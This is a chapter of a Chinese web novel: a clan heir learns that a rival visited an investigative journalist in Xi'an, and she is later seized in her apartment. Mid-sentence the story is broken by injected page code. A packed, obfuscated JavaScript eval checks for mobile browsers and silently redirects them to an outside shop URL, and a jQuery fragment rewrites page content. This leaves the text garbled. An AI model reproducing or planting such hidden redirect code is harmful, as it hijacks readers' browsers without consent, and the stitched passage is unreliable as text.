“咚咚咚……”
门口处传来三声叩门,不急不缓,力道沉稳。一道高大的影子随即出现在半掩的屏风后,步履匆匆却落地无声,几步转入正厅,在离那人还有三步远的地方站定,恭敬垂首行礼。
江让抬起头,看向那个不知已在正厅里站了多久的男人。
“已经查清楚了。霍祈楼在西安。”
“哦?”
衡生倚靠着朱漆立柱,双手环抱在胸前,姿态懒散而优雅。
他微微挑了挑眉,尾音上扬,像是惊讶,又像是不解。那一声“哦”从喉咙里飘出来的时候,带着一丝玩味的余韵,在安静的正厅里荡开,又被满室沉沉的檀木香吞没。
他抬眼看着面前垂手而立的江让,这个男人一如既往地面无表情,像是戴了一张永远不会松动的面具,汇报消息时语调平直,不带任何多余的情绪。
在此之前,衡生了解过他,知晓对方性格沉稳,不善言辞,但功夫极好,办事妥帖得当。
更难得的是他忠心耿耿,对“观山”这个身份的忠心,就是难得的一份诚意。哪怕那个位置上坐的人已经换了,他依旧守着侍从的本分。
而新一任观山程阔继位,虽名为观山,但程阔到底是外家的人,外家支持一切,自有属于自己的亲信。
无形中,江让等人在程阔那里成了一枚弃子,留着无益,弃之又可惜,像一把曾经锋利但如今刀柄上刻着旧主名字的刀刃,谁也不知道该拿它怎么办。
当然,这也是大长老的私心,平衡一切的能力,既给了外家的面子,又不失于本家的气度。将江让的忠心用在自己身上,等于将本家观山的侍从一派归给了自己。
也就是说,衡生是名正言顺的继承着上一任观山的全部。
“霍家的人是要带他回霍家老宅的,怎么会出现在西安?”衡生的问题从心底升起,却更像是一种自言自语。
他的目光越过江让,落在正厅门外那片空无一人的庭院里,竹影斑驳,风声细碎,像是有什么隐而未发的秘密藏在那些晃动的叶隙之间。
江让适时抬起头,对上一双黑漆漆的眸,衡生没有继续说下去,只是淡淡地看着他,那目光里没有催促,没有威压,甚至没有什么明显的情绪,但江让知道,这是在等他的下文。
江让顿觉头大,但面上没有一丝变化。
在得知上一任观山陨落之后,侍从们个个人心惶惶,多数都找了路子出走了。剩下的,只有阿念和自己手底下的几个亲信。他们始终不相信观山会突然陨落,那样一个奉为神明的人,历年间最快成为观山如是的考验,所有的测试都在掌握中,令人俯首的存在,怎么可能说没就没了?
可摆在眼前的事实——观祠楼的长生牌碎裂,长生烛火熄灭。他们再不愿意相信,也得接受。
观山陨落,观山氏也跟着闹出了不少风波。外家程阔和本家衡生都是潜在的观山继承人,只待通过最后一项“共鸣”应验。结果显而易见,程阔顺利通过共鸣应验,又有外家得力支持,更胜一筹,一举成为新一任观山如是。
而衡生虽然败选,却也是本家亲选,依旧没有什么实质性的损失,依旧顶着“潜在观山继承人”的名号,游走在权力的边缘。
原本,他是看不惯和程阔那样外显高傲的人一起共事的。结果阴差阳错,被分配到了衡生这里。
说实话,他也不喜与衡生共事。衡生不善言辞,对谁都有距离感,看似和上任观山性格相同,沉默淡漠,无欲无求。
但实际接触下来,江让心里总有一种说不上来的怪异感。霍祈楼的沉默是空旷的,仿若深山古寺里的一口枯井,里面空空如也;而衡生的沉默是深沉的,似像一潭看不见底的水,你永远不知道水面下藏着什么,心思深沉,攻心于计,难以捉摸。
也许他们都不适合成为观山,江让不止一次这样想过。他看得透彻,他们的目的性都太强了,总要做出一番事业来证明什么,偏偏结果不尽人意,两位都成了“观山的继承人”,一个已经上位,一个还在等待。
略一思忖,江让只能小心应对,他不说实话不代表衡生的人查不到什么,以衡生的手段,自己今天汇报的每一个字,背后都有另外的渠道可以核实。他只能如实回答:“他是中途拐道去的西安。目的是去见了一个记者。”
“什么记者?”
闻言,衡生来了兴趣,他依旧倚着立柱,姿态未变,但那双黑漆漆的眸子里有什么东西亮了一瞬。心底多少有一丝急切,但面色始终未显,这是他多年来的修为,不动声色的等待,往往切中要害。
“是位女性调查记者,名字叫荣箐。年龄二十五岁,少时在福利院长大,无亲无故。”江让回答。
“两个毫不相干的人……”衡生微微眯起眼睛,目光落在地上那片被窗棂切割成菱形的光斑上,像是在透过那道光看向什么看不见的东西,“难不成幼年有旧?”
霍祈楼到底想干什么呢?
从小到大,他一直被视为是第二个霍祈楼。观祠楼里那些白发苍苍的长老们,每一次见到他,目光都十分惊喜。然后用一种意味深长的语气说“很像”。于是他也按照霍祈楼的成长路线来打磨自己,读同样的经卷,练同样的术法。
甚至一度连说话的语气和走路的步幅都刻意收敛,力求做到那个人所拥有的一切。
这些年来的隐忍、克制、自我打磨,到头来成了一场空谈,应验最后一试失败而归,倒叫外家的不三不四捡了便宜。
而那个大限将至的传奇人物,居然拖着残躯,不远千里去见一个女人?
“据查是没有关系,只是几个月前,这位荣记者在藏南门措失踪过,后来又正常回到了西安。换算一下时间,跟我们去往盘重阵地的时间重叠了。”江让给出了自己的解释。这一点上他也有许多疑问,但无从说起。总感觉事情或许没有那么复杂,只是相识的过程无人知晓罢了。
“有意思,很有意思。”衡生低头笑了笑,那笑意从唇边漫开,带着一丝若有若无的玩味。
他整个人倚墙的姿势优雅而又惬意,气定神闲地站在那里不动,窗外竹影斜斜地打进来,在他的脸上投下一片阴影。
无疑,他长得很好,眉目英挺,丰神俊朗,五官的每一处十分精致。但比长相更出众的是他那一身淡然脱尘的气质,一种浸透了时间从骨子里透出来的东西,疏离,清冷,与世无争。
江让看着衡生,心里又一次涌起那种说不清道不明的错觉。很奇怪的感觉,说不上来的奇怪,又有些诡异的贴合感。他会在衡生身上产生一种错觉,误以为对方是曾经的观山,或者说,他把观
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790698|210378||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
祠楼里霍祈楼的画像看成了现在的衡生。尽管他们的长相不尽相同,但身上那股云淡风轻的气质是相似的。
只是相似而已,一个是真的,一个是学的,学得再像,也终究不是。
“去会会她。”
撂下这意味不明的一句话,衡生的影子们便无声无息地从正厅各处现身,像一阵风般,来去无踪。
正厅里重新安静下来,只剩下江让一个人站在原地,望着空荡荡的门廊,心里有什么念头在隐隐浮动着,却始终抓不住形状。
*
时间推移到第三天,也是荣箐出院后的第三天。日子如常,夏天依旧燥热难耐,荣箐已经重新埋进了堆积如山的工作里,——稿件完成,闭稿,完成闭稿,以此陷入一种忙碌的运转循环。
偶尔醒神时候,看着膝盖上尚未完全消退的青紫色淤痕,和转头过快时袭来的轻微眩晕,还在提醒着她,被拒绝时的情绪失态,病房里说过的那些话。那些她清醒时绝不可能说出口、却在那一刻不管不顾地全部倒出来的话。时而觉得自己失态了,恨不得把那些话一个字一个字地咽回去;时而又觉得没什么可后悔的,至少她说的是真情实意,至少她没有在结局到来之前当个逃兵。
至少,错过就是罪过,想要就要得到……
后果就是双方的断联,除了第一天傍晚霍泽明送来的一道符箓,压在叠成三角形的黄纸下面,用红线细细地捆了三圈,叮嘱她随身带着,此外再无交集。
对方没有发送任何消息,哪怕留存了号码,哪怕通讯录里只有她一个名字。好像她也没看见过“花架子”用过手机,仿佛和这个时代隔着一层看不见的结界,没准他就是老古董一枚,手机不会用……她还在心里不停的猜测,腹诽着对方,以此冲淡那种悬在半空中不上不下的难熬感。
盯着这三个字看了很久,然后锁了屏,把手机翻了个面扣在桌面上,继续敲键盘,只是敲了不到两行,又翻过来看了一眼,什么也没有。
这种情况持续到下班后,如常回到公寓里,站在没有开灯的客厅,外面的天光被滤成一层极淡极淡的灰蓝色,勉强勾勒出家具的轮廓。
荣箐看了一眼,转身进了卫生间里去,不一会儿水汽氤氲着,模糊了镜子里的自己,热水冲在瓷砖上溅起细密的雾气,也溅在她膝盖上那片尚未消退的淤痕上,顺着小腿往下淌。
她闭着眼睛站了很久,让水从头顶浇下来,把一天的疲惫和那些起起落落的情绪都冲进下水道里。
水声哗啦啦地不停,也隔绝了客厅里的异样声响。
半晌后,荣箐穿着睡裙从卫生间里走出来,头发还是湿的,一只手包着发帽,水珠沿着发梢滴在肩膀上,洇出一小片深色的印记。
她顺势打开了壁灯,走向厨房给自己倒了一杯水,客厅里陷入两种颜色,一半接近昏黄,影影重重,一半陷入暗黑,暗地看不清形态。
忽然,一声极清脆的、短促的碎裂声,在安静的房间里显得格外的刺耳……
一只手从黑暗里伸出来,不容抗拒地捂住了她的嘴,速度快到让她根本来不及反应,来不及喊叫,来不及挣扎……
“叮当……”
玻璃碎片在昏暗的光线里四散开去,弹跳着,旋转着,在地板上划出几道细微的白痕,很快归于了沉寂。